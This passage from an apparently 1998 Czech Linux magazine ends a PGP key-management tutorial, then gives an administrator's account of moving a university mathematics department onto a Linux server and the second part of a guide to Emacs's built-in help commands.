vypı́šı́ po řadě nápovědu pro práci s klı́či a seznam klı́čů (je-
jichž identifikace obsahuje řetězec ID) obsažených ve va-
šem souboru veřejných klı́čů. Pro výměnu klı́čů jsou potře-
ba přı́kazy, které umožnı́ vypsánı́ klı́če do souboru a načtenı́
klı́če ze souboru. Vypsánı́ zajistı́ jeden z přı́kazů

pgp -kx ID soubor
pgp -kxa ID soubor

Prvnı́ přı́kaz zkopı́ruje klı́č jehož identifikátor obsahuje
řetězec ID ze souboru veřejných klı́čů a uložı́ jej do binárnı́-
ho souboru soubor.pgp, druhý zkopı́ruje klı́č do textového
souboru soubor.asc. Klı́č samozřejmě v souboru veřejných
klı́čů zůstává.

Přidánı́ klı́čů do souboru veřejných klı́čů zajistı́ přı́kaz

pgp -ka soubor

Zadaný soubor obsahujı́cı́ jeden nebo vı́ce veřejných klı́-
čů, může být textový i binárnı́.

V nesymetrických kryptosystémech je sice možné pře-
dávat veřejné klı́če po nezabezpečeném komunikačnı́m ka-
nálu, je však nezbytně nutné zabránit zcizenı́ vašeho sou-
kromého klı́če, ale také zaručit pravost klı́čů! Pokud byste
chtěli komunikovat s osobou B a osoba C by vám poskyt-
la svůj klı́č, který by vydávala za klı́č osoby B, bude moci C
luštit vaše zprávy pro B.

Protože ne vždy je možné zı́skat veřejný klı́č přı́mo od
jeho majitele a o klı́či zı́skaném ze sı́tě nemůžeme mı́t ni-
kdy stoprocentnı́ jistotu, že nenı́ podvržený, PGP umožňu-
je vypsánı́ „otisku klı́če“ – šestnáctibytové hodnoty zapsané
v šestnáctkové soustavě, který je možné přidat do podpisu
v e-poště, vytisknout na vizitku nebo ověřit telefonicky:

pgp -kvc ID

Kromě toho existuje mechanismus podepisovánı́ klı́čů,
který umožňuje, aby kdokoli, kdo bezpečně (tj. pokud mož-
no při osobnı́m kontaktu) zı́skal něčı́ klı́č, podepsal tento
klı́č umı́stěný ve svém souboru veřejných klı́čů přı́kazem
pgp -ks ID
Pokud zı́skáte klı́če podepsané někým, komu důvěřuje-
te, že podepisuje pouze ověřené klı́če, můžete tyto klı́če
považovat za pravé.

Vypuštěnı́ klı́če se zadaným ID ze souboru veřejných
a přı́padně i soukromých klı́čů provede přı́kaz:

pgp -kr ID

Neprovádějte tento přı́kaz na vlastnı́ klı́č (uložený v sou-
boru soukromých klı́čů), pokud jej chcete ještě někdy po-
užı́t!

Jestliže dojde k prozrazenı́ vašeho soukromého klı́če, je
nutné přı́kazem

pgp -kd váš_ID

vygenerovat potvrzenı́, že klı́č se zadaným ID je neplatný.
Potvrzenı́ je třeba rozeslat lidem, kteřı́ majı́ váš veřejný klı́č,
aby si jej přidali do svého souboru veřejných klı́čů pomocı́
pgp -ka, a tı́m váš klı́č zneplatnili.

Základnı́ informace o PGP naleznete na adrese (4).

1 Oficiálnı́ distribučnı́ server pro mezinárodnı́
(neamerické) verze PGP
ftp://ftp.ifi.uio.no/pub/pgp/

2 WWW rozhranı́ pro hledánı́ a přidávánı́ veřejných
PGP klı́čů
http://wwwkeys.pgp.net

3 Český server sı́tě PGP
http://www.pgp.cz/pgpnet/

4 Základnı́ informace o PGP
http://www.pgp.cz

Linux na katedře matematiky FEL ČVUT
Petr Olšák, 11.března 1998

V tomto článku popı́šu nasazenı́ Linuxu pro server na-
šı́ katedry matematiky FEL ČVUT. Mé zkušenosti s tı́mto
řešenı́m jsou vesměs pozitivnı́. Začnu ale popořádku.

V minulém roce jsem stál jako správce sı́tě
math.feld.cvut.cz před rozhodnutı́m, co koupit, abych
dal nový život rychle stárnoucı́ technice. Měli jsme zde
staršı́ přı́stroje SPARC ještě se SUN OS 4.1.3 a dále učeb-
nu s čtyřiosmšestkami na 30 MHz s pěknými 17 palcovými
monitory. V jednotlivých kancelářı́ch mých kolegů se pak
nacházejı́ PCčka typu „každý pes jiná ves“. Lokálnı́ sı́t’
jsme do té doby měli postavenu na exportu UNIXových
disků ze SUNů, přičemž na PCčkách běželi klienti PC NFS.
Tento klient byl docela spolehlivý v DOSu, ale jakmile
chtěli někteřı́ mı́ kolegové „upgradeovat“ na Win95, klient
PC NFS začal dělat v tomto prostředı́ potı́že.

Nejprve jsme zvažovali koupi nového SUNu. Přechod ze
SUN OS 4.* na Solaris 2.* by mě asi stál stejné úsilı́, jako
přechod na Linux (napřı́klad spustitelné programy nejsou
binárně kompatibilnı́). Přitom s Linuxem jsem už v učeb-
ně dost dávno začal experimentovat. Dělat nezávazné ex-
perimenty se Solarisem dost dobře nešlo, protože bych jej
nejprve musel koupit. Dále jsem se dozvěděl, že SUN již ne-
dodává se svým systémem standardně překladač jazyka C.
Skutečnost, že někdo dokáže nazývat UNIX bez překlada-
če jazyka C operačnı́m systémem mě docela překvapila. Je
sice pravda, že mohu pro Solaris stáhnout free překladač
gcc, ale kupovat UNIX bez C mě připadalo přinejmenšı́m

podezřelé. Je rovněž pravda, že bych mohl v novém SUNu
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z gruntu vyměnit dodaný systém za Linux, ale tato cesta
mě osobně připadala poněkud méně probádaná a nejistá.
Hardware stavěný kolem platformy Intel dnes podle mého
názoru dospěl k takovým parametrům, že může být velmi
dobře nasazen jako server pro organizaci rozsahu našı́ ka-
tedry. Je přitom podstatně levnějšı́. Mı́ nadřı́zenı́ byli přı́-
jemně překvapeni, když jsem konstatoval, že k nákupu no-
vého serveru nebudu potřebovat původně odhadovaných
600 tisı́c, ale že bude stačit zhruba 300 tisı́c.

A tak jsme koupili v květnu minulého roku dvouproce-
sorové PPro (200MHz/512k) s 200 MB paměti RAM, dvou-
kanálové SCSI od Adapteků, s několika disky a páskovým
streamerem. Do ceny HW sestavy se vešla ještě velká 21 pal-
cová televize pro správce sı́tě, která je přı́mo připojena jako
konzola k serveru. To vyžadovalo osadit server kvalitnı́ gra-
fickou kartou. Nezanedbatelná cena tohoto grafického roz-
hranı́ se schovala v ceně serveru. Kdyby měl být kupován
monitor pro Olšáka samostatně, byl by tento požadavek
asi méně průchodný. Někteřı́ lidé totiž nedovedou pocho-
pit, proč nějaká televize může mı́t vı́c než dvojnásobnou
cenu „obyčejného“ počı́tače.

Zaznamenal jsem technický pokrok i v této oblasti. Mo-
nitor mi pracuje s obnovovacı́ vertikálnı́ frekvenci 105 Hz
(doladil jsem editacı́ tajemných čı́sel v XF86Config). Od té
doby mi připadá, že všechny staré SUNovské televize zce-
la nepřı́stojně pomrkávajı́. Jak jsem se na ně mohl ještě
nedávno tak dlouho koukat!

S nákupem hardware jsem měl u jisté nejmenované po-
měrně velké firmy obrovské problémy. Předevšı́m mi nebyli
schopni zajistit AT klávesnici QWERTY. Dále tvrdili, že ser-
ver zahořovali na Linuxu, ale na dodaném disku zbyla par-
tition MS DOS. Poté co jsem se o to začal zajı́mat, nikdo
z firmy mi o tom zahořovacı́m Linuxu nebyl schopen nic řı́-
ci. Při součtu cen jednotlivých komponent podle katalogu
firmy včetně procent za skladovánı́ a zahořovánı́ jsem do-
šel k čı́slu o 20 tisı́c menšı́, než co si firma účtovala. Do ser-
veru původně dodali procesor PPro s 256k cache, zatı́mco
já jsem žádal 512k. Kdo sledoval v létě minulého roku ceny
těchto procesorů, vı́, že cena druhého z nich (ačkoli na stej-
né frekvenci) byla asi dvojnásobná. Museli jsme tedy žádat
o výměnu procesorů.

Šéf pobočky (ne)zmı́něné firmy mi nebyl ochoten řı́ci,
o kolik jsem vlastně ušetřil, když jsem u nich koupil zařı́-
zenı́ bez operačnı́ho systému. Prohlásil, že jejich firma je
vázána smlouvou s firmou Microsoft. Cena, kterou muse-
jı́ této firmě za každý předinstalovaný MS systém zaplatit,
je otázkou obchodnı́ho tajemstvı́ a nesmı́ být zveřejněna.
To je ale blbost nejrubšı́ho zrna. Já jako zákaznı́k si přece
mohu nechat udělat odhad ceny na zařı́zenı́ do poslednı́ho
tlačı́tka myši stejné, ale jednou s předinstalovaným MS sys-
témem a jednou bez něho. Rozdı́l těchto dvou cen je hleda-
ná částka. Nebo snad ne? Druhá možnost je, že jsem firmě
Microsoft nedobrovolně zaplatil oněch 20 tisı́c, aniž bych si
to přál a aniž bych po nı́ cokoli chtěl!

S přı́strojem jsem měl několik měsı́ců ještě různé hard-
warové problémy. Uvedu jen jeden přı́klad. Ačkoli SCSI dis-
ky byly ULTRA a sběrnice taky, záhadně na vysoké frek-
venci pracovaly jen některé disky. Dodané výchozı́ nastave-
nı́ počı́tače vůbec nebralo v úvahu použitı́ sběrnice v UL-
TRA režimu. Vyzkoušel jsem tedy záručnı́ servis, o kterém
se zmı́něný šéf pobočky zaručoval, že je kvalitnı́. Ti lidé od
firmy mi připadali, že s SCSI majı́ poměrně malé zkušenos-
ti, často si přı́stroj odnášeli do servisu a zase vraceli, sami

nebyli skoro na nic schopni fundovaně odpovědět. Nakonec
také přiznali, že se na tom teprve učı́! Takže se náš server
stal pokusným králı́kem pro jejich experimenty. Takto jsem
si určitě servis nepředstavoval.

Po nainstalovánı́ Linuxu ze Slackware (nemám nic pro-
ti Red Hatu ani Debianu, ale Slackware jsem měl už dávno
předtı́m osahaný) mě čekaly už přı́jemnějšı́ věci. Sotva jsem
vybalil přı́stroj z krabice a zavedl do něj operačnı́ systém
(ze zdroje sunsite.mff.cuni.cz), spustil jsem na něm dekryp-
tovacı́ program DESu. Jistě si vzpomı́náte, že v minulém
roce proběhla na Sı́ti davová mánie počı́tánı́ tohoto klı́če.
Dřı́ve, než jsem měl na serveru zprovozněny jakékoli služ-
by, zařadil jsem se do této mánie. Bylo přı́jemné pozorovat,
jak se nový počı́tač mezi ostatnı́mi svým výkonem zviditel-
ňuje a hájı́ barvy Linuxu. Můžete namı́tnout, že škola jistě
nekoupila tak drahý přı́stroj, aby si na něm administrátor
takto hrál, ale na druhé straně se to dalo považovat jako
dobrý zatěžovacı́ test procesorů, neboli ono firmou těžko
vysvětlené „zahořovánı́“.

Hned napoprvé po kompilaci jádra 2.0.30 pro vı́ce proce-
sorů (odkrytı́m řádku SMP=1 v Makefile) systém začal vy-
užı́vat oba procesory a běžı́ stabilně dodnes. Bez problémů
se mi podařilo formátovat disky s ext2fs ve velikosti parti-
tionů většı́ než 2 GB. To u starých SUNů nebylo možné, ale
v důsledku neustále rostoucı́ch požadavků na kapacity sı́-
t’ových disků to už bylo vı́ce než nutné. Server se tedy stal
diskovým serverem zvláště pro uživatelská data. Uživate-
lé k nim přistupujı́ pomocı́ PC NFS, nebo ze SUNů, nebo
(nově) pomocı́ Samby, což umožňuje dı́vat se do sı́t’ových
UNIXových disků i zatvrzelým Microsoftistům.

Nainstalovánı́m IPX rozhranı́ do serveru a nově využitou
funkcı́ re-export nabı́zı́m pro PC NFS i pro SUNy disky, kte-
ré jsou čteny ze vzdáleného fakultnı́ho Novellského serve-
ru. Do tabulky crontab jsem přidal test startovaný každou
hodinu, zda se fakultnı́ Novellský server neskácel a zda te-
dy nenı́ potřeba obnovit ncpmount. Linux tak funguje ja-
ko filtr mezi IPX protokolem Netware a NFS protokolem,
který jsem v našı́ katedernı́ sı́ti použı́val už dávno (Novella
neprovozuji). Uživatelé starých PCček ocenili, že nemusejı́
pokaždé znovu bootovat své stroječky, pokud střı́dajı́ přı́-
stup mezi katedernı́mi NFS disky a fakultnı́mi Novellský-
mi disky. Nynı́ vidı́ oba typy disků pomocı́ PC NFS z DOSu
současně. Vidět Novellské disky namontované pomocı́ NFS
z Linuxového serveru i na SUNech je také přı́jemné.

Do každé čtyřiosmšestce v počı́tačové učebně jsem insta-
loval ochuzený Linux (disky jsou tam už poněkud menšı́),
který montuje softwarové svazky /usr/local resp. share
ze serveru. Lokálně majı́ instalováno předevšı́m X, které se
nejčastěji v učebně spouštı́ jako -query server. Těm kal-
kulačkám se 17 palcovými monitory grafické rozhranı́ slušı́,
a přitom dostaly „druhou mı́zu“ z výkonu nového serveru.
Ten se tedy stává předevšı́m aplikačnı́m serverem pro dva-
náct počı́tačů v učebně a některé dalšı́ v kancelářı́ch ko-
legů, kteřı́ již dřı́ve použı́vali napřı́klad DOSový X-appeal
na grafické připojenı́ k SUNům. Dnes se připojujı́ k Linu-
xu. Na serveru někdy běžı́ přes 500 procesů a je tam při-
hlášeno třeba dvacet uživatelů. Jsou k dispozici i náročné
matematické programy Mathematica 3.0 a Maple V R4. Při-
tom server stı́há. Jen tak bokem funguje i jako fontserver
pro X terminály. Přece nebudu po instalaci nového fontu
obcházet všechny počı́tače na katedře!

Již před mnoha lety jsem dělal podobný pokus se SUNem
(SPARCStation 5), kdy jsem spustil všech dvanáct počı́ta-
čů učebny jako grafické terminály proti jedinému SUNu.

Jakmile jsem ale otevřel v rámci tohoto pokusu poněkud
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vı́ce procesů, začal mı́t SUN potı́že s forkovánı́m a neda-
lo se na něm nic dělat. Jsem tedy přı́jemně překvapen, že
dnešnı́ linuxový server nemá tytéž problémy. Pokrok holt
nelze zastavit.

Protože naše staré SUNy svým výkonem už zdaleka ne-
stačı́, rozhodl jsem se využı́t aspoň jejich velké pěkné obra-
zovky. Bohužel SUNovský X server Xnews neumožňuje pou-
žı́t parametr -query. Musel jsem tedy pro SUN kompilovat
XFree86. Nynı́ SUN nabı́dne uživateli bud’ původnı́ grafické
rozhranı́ v lokálnı́m provozu zprostředkované pomocı́ pů-
vodnı́ho Xnews nebo grafické rozhranı́ linuxového serveru
pomocı́ XFree86 s parametrem -query server. Tı́m jsem
vrátil život i těmto postaršı́m SUNům. Pro srovnánı́: kom-
pilace kompletnı́ho XFree86 na našem starém (ale nejvý-
konnějšı́m) SUNu SPARCStation 5 trvala půl dne, zatı́mco
tatáž operace na novém linuxovém serveru trvá čtvrt hodi-
ny.

Uvedená centralizace softwaru a degradace klientů
na pouhé projekčnı́ plátno, na němž se promı́tá to, co se
odehrává na serveru, má obrovské výhody pro administrá-
tora sı́tě. Prostě nainstaluji nový software na jediném mı́s-
tě, vyzkoušı́m a mohou jej okamžitě použı́vat všichni. Na-
přı́klad Wolframova Mathematica je instalována jen jednou.
Uživatelská konta jsou spravována centrálně a bezpečněji.
Různé počı́tače kdekoli na katedře nabı́dnou uživateli vždy
zcela stejné uživatelské rozhranı́ závislé na uživatelských
preferencı́ch. Pravidelná archivace všech uživatelských dat
na pásky probı́há lokálně. Slyšel jsem, že jinı́ administrá-
toři, kteřı́ pro Mathematicu zvolili platformu Windows NT,
musı́ každou chvı́li obcházet jednotlivé počı́tače a pořád
něco konfigurovat.

Podle mého názoru je třeba soustředit investice do dis-
ků, paměti RAM a procesorů na straně serveru a do vel-
kých monitorů a výkonných grafických karet na straně kli-
entů. Tam nejsou potřeba velké disky a výkon procesoru.
Bohužel, většina na trhu prodávaných počı́tačů (platformy
Intel) tuto filosofii nedodržuje. Jako prvnı́ údaj v katalogu
si můžeme přečı́st, jak mocný procesor sestava obsahuje,
jak veliký disk má, a někde v koutku vzadu se krčı́ informa-
ce o tom, že v základnı́ sestavě se počı́tá pouze s patnácti
palcovým divadelnı́m kukátkem.

V dnešnı́ době nabı́zı́ server již poměrně dost aplika-
cı́. Kromě Mathematicy a Maple je veškerý software čer-
pán z free zdrojů (aspoň pro akademické instituce). Uvedu
neúplný seznam aplikacı́, které jsou k dispozici: Netscape,
Emacs, TEX, LyX, Ghostview, Acrobat reader, Imagemagic,
xv, Gnuplot, Xfig, souborové managery, e-mail managery,
. . .

Aby toho nebylo dost, jsou k serveru připojeny sı́t’ové tis-
kárny. Klienti startujı́ tiskové úlohy jednak z PC NFS, ne-
bo prostřednictvı́m Samby nebo standardnı́m UNIXovým
způsobem. Server „očichá“ prvnı́ dva znaky tiskové úlohy
a pokud zjistı́, že se jedná o PostScript (%!) a úloha je při-
tom zası́lána na nePostScriptovou tiskárnu, automaticky
úlohu profiltruje Ghostscriptem. Klientům se tedy jevı́ vir-
tuálně všechny sı́t’ové tiskárny jako PostScriptové. Včetně
napřı́klad jehličkové tiskárny.

S tiskárnami souvisı́ problém paralelnı́ch portů. Do ser-
veru jsem dokoupil jedno paralelnı́ rozhranı́ navı́c, takže
tiskárny mohou být dvě. Úlohy pro dalšı́ tiskárny jsou po-
sı́lány na původnı́ mı́sta ke starým SUNům. Vzpomı́nám si,
že paralelnı́ rozhranı́ pro SUNy nebylo vůbec ve standardnı́

výbavě a že to taky tehdy nebyla žádná láce. Přitom u PCč-
ka máme paralelnı́ port skoro vždy a druhý lze velmi levně
dokoupit.

Kromě paralelnı́ch portů je využita většina portů sério-
vých. Náš počı́tač má seriové porty čtyři. Bylo potřeba na-
stavit některé z nich na nestandardnı́ IRQ, protože od vý-
robce je nastavenı́ takové, že se IRQ vždy dvou seriových
portů překrývajı́. To se Linuxu nelı́bı́. Jeden port jsem ob-
sadil hlodavcem, k druhému je připojen stařičký textový
terminál a po třetı́m portu komunikuje server s modemem.
Tam kraluje mgetty+sendfax. Konfigurace umožňuje přijı́-
mat oficiálnı́ katedernı́ faxy a o přı́jmu faxu rozeslat zprávu
administrativnı́m osobám. To šetřı́ naše lesy. Faxy lze také
posı́lat přı́mo z UNIXu. Stačı́ mı́t připraveno TEXovské dvi
a šup s nı́m do faxové fronty. Software jej automaticky kon-
vertuje na PostScript a ten na faxový g3 a dále se jej snažı́
odfaxovat v intervalech, stanovených v tabulce crontab.

Protože telefonnı́ linka nenı́ na faxy přı́liš využita, je soft-
ware k modemu konfigurován též jako jednoduchý „termi-
nálový server“, který umožňuje připojenı́ jednoho počı́ta-
če po telefonu protokolem PPP do sı́tě Internet. To využi-
jı́ někteřı́ št’astnějšı́ kolegové, kteřı́ majı́ doma u počı́tače
modem. Zatı́m takových „modemistů“ nenı́ mnoho, takže
jedna telefonnı́ linka je pro naši katedru dostačujı́cı́.

Je tedy vidět, že linuxový server pracuje na našem praco-
višti jako „holka pro všechno“. Neuvedl jsem, že na něm bě-
žı́ také DNS server a možná že jsem na plno dalšı́ch funkcı́
zapomněl.

Kromě uvedeného serveru jsme koupili ještě jeden počı́-
tač. Má jen jeden méně výkonný procesor, je bez monitoru,
má méně paměti a jediný SCSI disk. Operačnı́m systémem
je samozřejmě Linux a přesunu na něj mail server (ze stá-
vajı́cı́ho SUNu) a DNS server. Tento stroječek lze pořı́dit
poměrně levně – asi za třicet tisı́c. Z bezpečnostnı́ch dů-
vodů do něj nepustı́m uživatele. Sı́t’ našeho pracoviště (asi
40 zaměstnanců a 200 studentů střı́dajı́cı́ch se v učebně)
tedy bude postavena hlavně na jednom výkonném aplikač-
nı́m serveru a jednom serveru pro služby. WWW server a ftp
server (1) zůstane zatı́m na stařičkém SUN OS, ale až tento
přı́stroj odejde do věčných lovišt’, určitě jej naprosto bez-
problémově nahradı́ Linux.

1 WWW server math.feld.cvut.cz
http://math.feld.cvut.cz

Emacs? Help! (2.část)
Milan Zamazal, 9.března 1998

Posledně jsme se seznámili se základnı́mi dokumenty po-
pisujı́cı́mi Emacs a poskytujı́cı́mi uživateli podrobnou ná-
povědu. Tentokrát se zaměřı́me na programy, které kvalitnı́
info dokumentacı́ nedisponujı́. Povı́me si také něco o klá-
vesových přı́kazech a zastavı́me se u přı́kazů pro rychlé zı́s-
kánı́ nápovědy.

Dokumentace k programům

Mnohdy se stává, že narazı́te na zajı́mavý balı́k, který však
nemá vlastnı́ info dokumentaci. Co potom?

Řada emacsovských programů definuje nějaké módy, at’
už hlavnı́ nebo vedlejšı́. V přı́padě takových programů mů-
žete využı́t přı́kazu C-h m , který zobrazı́ dokumentaci pro
všechny momentálně aktivnı́ módy. Přitom popis aktivnı́-

ho hlavnı́ho módu obvykle naleznete až na konci výpisu
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dokumentace, musı́te tedy zobrazenou nápovědou trochu
zalistovat, hledáte-li informaci právě o hlavnı́m módu.

Naprostá většina programů obsahuje stručnějšı́ či ob-
sáhlejšı́ popis v úvodnı́ch komentářı́ch ve svém zdrojovém
textu. Obvykle tam naleznete informaci o instalaci, základ-
nı́ návod k použitı́ a popis nejdůležitějšı́ch konfiguračnı́ch
proměnných. Pokud se zdrojový kód nacházı́ někde ve stro-
mu emacsovských adresářů, naleznete jej nejsnáze pomocı́
přı́kazu M-x locate-library (tento přı́kaz může být též užiteč-
ný v přı́padě, kdy si nejste jisti, zda se vám náhodou mı́s-
to instalované nejnovějšı́ verze nezavádı́ nějaký zapomenu-
tý exemplář daného programu). Pokud neznáte ani jméno
programového souboru a znáte napřı́klad pouze jméno je-
ho hlavnı́ funkce, zkuste C-h f . Tento přı́kaz kromě popisu
funkce vypı́še i jméno souboru, ze kterého byla načtena. To
může být spojeno s určitými obtı́žemi:

• Můžete se dozvědět, že funkce je built-in. Pak nenı́
definována v žádném elispovském souboru, nýbrž je
definována ve zdrojových textech v jazyce C.

• Můžete se dozvědět, že se jedná o compiled Lisp
function, ale už ne to, kde se jejı́ definice nacházı́. To
znamená, že funkce je sice elispovská, ale zakompilo-
vaná v binárce Emacsu kvůli sdı́lenı́ paměti nebo byla
definována dynamicky v těle jiné funkce a tudı́ž nenı́
znám soubor s jejı́ definicı́.

V druhém přı́padě lze stále ještě použı́t tags. Máte-li
Emacs instalován v adresáři directory, vygenerujete přı́-
kazem

rm -f TAGS
find directory -name ’*.el’ -print | xargs etags -a

index všech elispovských proměnných a funkcı́ definova-
ných v distribuci Emacsu (musı́te mı́t ovšem samozřejmě
instalovány zdrojové *.el soubory). Kdykoliv pak hledáte
nějakou funkci nebo proměnnou ze standardnı́ distribuce
Emacsu, naleznete ji velmi rychle přı́kazem M-. . Pozor, ně-
kdy musı́te pro nalezenı́ správného výskytu aplikovat hle-
dánı́ opakovaně prostřednictvı́m C-u M-. .

Zdrojové texty jsou zajı́mavé nejen z hlediska úvodnı́ch
komentářů. Pokročilejšı́ uživatel si v nich najde zajı́mavé
defvary. Pro uživatele vládnoucı́ (na prvnı́ pohled magic-
kou) schopnostı́ programovat v Elispu jsou pak zdrojové
texty pravým pokladem. Lze v nich nalézt nesčetné množ-
stvı́ tipů a zajı́mavostı́ a nezřı́dka do nich člověk nahlédne
právě proto, aby zjistil „jak se něco dělá“. Programujete-li
v Elispu a nemůžete najı́t návod pro nějakou věc po manu-
álech, zkuste si vzpomenout, kde jste odpovı́dajı́cı́ chovánı́
již viděli. Návod pak najdete ve zdrojových textech přı́sluš-
ného programu. (Pro neznalce Elispu to celé může znı́t jako
pokus o vtip, ale skutečnost je jiná. Elisp je velmi čitelný
jazyk a nalézt něco v jeho zdrojových textech je obvykle
daleko snazšı́, než si možná myslı́te.)

Vrat’me se zpátky k běžnému uživateli. Může se stát, že
narazı́te na rozsáhlý balı́k se špatnou dokumentacı́ (jako je
napřı́klad w3) a potřebujete jej zkonfigurovat. Pokud autor
disponuje alespoň elementárnı́ mı́rou úcty k uživateli, tak
dokumentuje přinejmenšı́m konfiguračnı́ proměnné pomo-
cı́ customize. (Pokud nevı́te, co to customize je, nahlédněte
do menu „Help“ a zvolte odpovı́dajı́cı́ položku; pozor, stan-
dardně je přı́tomna až v Emacsu 20.) Na prvnı́ pohled se

může zdát, že customize je zde pouze pro uživatele, kteřı́
si neumı́ zkonfigurovat Emacs editacı́ souboru ~/.emacs.
Ve skutečnosti však má tento mechanismus i významnou
vedlejšı́ funkci – naleznete zde totiž hierarchicky uspořáda-
né konfiguračnı́ proměnné s popisem a možnostı́ je ihned
nastavit a přı́padně i uložit. A pak už vlastně žádnou dalšı́
dokumentaci ke konfiguraci balı́ku podporujı́cı́ho customi-
ze nepotřebujete!

Poučenı́ pro tvůrce elispovských programů:

• Své programy v úvodnı́ch komentářı́ch stručně doku-
mentujte.

• Uživatelské proměnné deklarujte pomocı́ defcustom,
nikoliv pomocı́ defvar.

• Pokud nenı́ již z názvu funkce či proměnné zcela zřej-
mé, k jakému účelu sloužı́, nezapomeňte ji vybavit do-
kumentačnı́m řetězcem. To platı́ i pro triviálnı́ funkce
– ušetřı́ to hledánı́ definice funkce při četbě zdrojových
textů.

• Zejména bezpodmı́nečně dokumentujte všechny inter-
aktivnı́ funkce a uživatelské proměnné.

• Podrobně dokumentujte módy, které váš program de-
finuje.

Klávesy

Častým problémem je vyznat se v poměrně početných klá-
vesových kombinacı́ch.

Nejčastějšı́ otázkou bývá: „Co tato klávesová zkratka
vlastně dělá?“ Nechcete-li být obtěžováni dlouhými výkla-
dy, použijte C-h c . To se hodı́ zejména v přı́padě, kdy si
chcete připojit funkci třeba na nějakou funkčnı́ klávesu
a potřebujete znát jejı́ jméno pro zapsánı́ odpovı́dajı́cı́ de-
finice do ~/.emacs. Pokud chcete zı́skat kompletnı́ nápo-
vědu k funkci dané klávesy, použijte C-h k .

Pokud naopak nevı́te, pomocı́ kterých kláves lze něja-
kou funkci vyvolat, můžete zkusit:

• Podı́vat se do menu. Lze-li funkci vyvolat klávesovou
zkratkou, má tuto zkratku přı́slušná položka menu
u sebe uvedenu.

• Funkci provést prostřednictvı́m zadánı́ jejı́ho plného
jména po M-x . Je-li dosažitelná i klávesovou zkratkou,
Emacs vás na to po jejı́m provedenı́ (v Emacsu 19 před
jejı́m provedenı́m) upozornı́.

• Použı́t přı́kaz C-h w . Výhodou tohoto přı́kazu je to, že
vám zobrazı́ *všechny* klávesové kombinace, pomocı́
kterých lze zadaný přı́kaz vyvolat.

Často se též stává, že něco nechtěně zmáčknete a ono
to provede zajı́mavý přı́kaz, který dosud neznáte. Rádi bys-
te věděli, který přı́kaz to byl, protože je vám ihned jasné,
že jej ted’ budete naprosto nezbytně a opakovaně potře-
bovat. Pomůže vám přı́kaz C-h l , který zobrazı́ poslednı́ch
100 stisknutých kláves. Mimochodem, vı́te, proč nenı́ dob-
ré odcházet od neuzamčeného Emacsu, ve kterém jste se
právě přihlásili na vzdálený počı́tač se zadánı́m hesla?

Někteřı́ lidé majı́ vyvinutějšı́ smysl pro systematičnost.
Ti se pak s náhodným bouchánı́m do klávesnice nespoko-
jı́ a chtějı́ vidět všechno najednou. Pro ty je ideálnı́ přı́kaz
C-h b . Ano, je to trochu přehnané, ani tento přı́kaz nemů-

že zobrazit spočetně mnoho přı́kazů Emacsu, takže zobrazı́
pouze aktuálně dostupné klávesové kombinace. Ty jsou sa-

mozřejmě závislé na momentálně aktivnı́ch hlavnı́ch a ve-
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dlejšı́ch módech. Pokud vás zajı́majı́ pouze přı́kazy začı́na-
jı́cı́ určitým prefixem, můžete si je nechat vypsat zadánı́m
prefixu následovaného stiskem C-h . Napřı́klad přı́kazy pro
práci s registry, záložkami a obdélnı́kovými bloky si vypı́še-
te pomocı́ C-x r C-h . Typické přı́kazy aktuálnı́ho hlavnı́ho
módu pak pomocı́ C-c C-h .

Proměnné a funkce

Zejména při editaci souboru ~/.emacs či programovánı́
v Elispu využijete přı́kazy C-h f a C-h v zobrazujı́cı́ do-
kumentaci zadané funkce (přı́padně makra) nebo proměn-
né. Neocenitelnou výhodou těchto přı́kazů je to, že posky-
tujı́ přı́stup k nejaktuálnějšı́ a obvykle i nejúplnějšı́ doku-
mentaci k běžným objektům. Pokud máte při programová-
nı́ v Elispu notorické problémy zapamatovat si argumenty
funkcı́, použijte „eldoc-mode“. Tip: Přı́kaz C-h f většinou
nabı́zı́ identifikátor z poslednı́ho volánı́ funkce před kurzo-
rem, nikoliv slovo pod kurzorem, můžete si tedy mnohdy
ušetřit pohyb kurzoru.

Jednı́m z nejmocnějšı́ch přı́kazů nápovědy Emacsu je
apropos. Apropos přı́kazy vám umožnı́ vyhledat funkci
nebo proměnnou podle regulárnı́ho výrazu. Zadáte regu-
lárnı́ výraz a Emacs vám vypı́še všechny funkce a proměn-
né, které zná a které tomuto výrazu odpovı́dajı́. Kliknu-
tı́m nebo stiskem RET na dané položce z vyhledaného se-
znamu se vám zobrazı́ dokumentace k odpovı́dajı́cı́ funk-
ci nebo proměnné. Apropos existuje ve třech základnı́ch
variantách:

• C-h a vyhledává mezi uživatelskými přı́kazy (interak-
tivnı́ funkce).

• C-u C-h a vyhledává mezi uživatelskými přı́kazy a uži-
vatelskými proměnnými.

• M-x apropos prohledává celý jmenný prostor.

Vše, co najdete pomocı́ C-h a , naleznete i pomocı́
M-x apropos . Avšak C-h a výrazně omezuje množstvı́ na-

lezených objektů, takže se můžete vyhnout efektům zná-
mým z odpovědı́ vyhledávacı́ch strojů na Webu po zadánı́
přı́liš obecného dotazu.

Na prvnı́ pohled nemusı́ být zřejmé, o jak mocný nástroj
se jedná. Kdo se ale naučı́ apropos efektivně použı́vat, ušet-
řı́ si spoustu hledánı́ v manuálech a ve zdrojových textech.
Napřı́klad potřebujete obrátit pořadı́ řádků v souboru. Sta-
čı́ si uvědomit, že s obráceným pořadı́m by mohlo mı́t ně-
co společného anglické slovo „reverse“. Zjevně by se mělo
jednat o uživatelský přı́kaz, takže zadáte C-h a reverse RET
a ve zobrazeném výsledku již odpovı́dajı́cı́ funkci snadno
naleznete. Nebo provádı́te sofistikovanou konfiguraci Gnus
a potřebujete pro své účely najı́t nějaký vhodný hook. Po-
užijete M-x apropos ˆ\(gnus\|message\|nn\).*hook RET stopro-
centnı́ jistotu, že před sebou vidı́te kompletnı́ seznam všech
hooků, které můžete použı́t. Nebo vás zajı́majı́ možnosti
BibTEX módu. Aplikujete tedy C-u C-h a ˆbibtex RET . (Ten-
to přı́klad je poněkud umělý, spı́še byste na tomto mı́stě
použili customize.)

Pozor na malou záludnost: Některé programy jsou zavá-
děny prostřednictvı́m autoload mechanismu až při vyžádá-
nı́ jejich funkcı́. Do doby jejich zavedenı́ žádný z přı́kazů
pro popis funkce nebo proměnné a tı́m pádem ani apro-
pos nevı́ o existenci většiny funkcı́ a proměnných definova-
ných v tomto balı́ku. Chcete-li proto hledat napřı́klad ně-

co týkajı́cı́ se Gnus, je dobré nejprve Gnus spustit a chvı́li
s nimi pracovat, protože teprve potom je načtena většina
programových souborů Gnus a nebudete se marně snažit
najı́t dosud nezavedenou proměnnou. Totéž platı́ pro přı́-
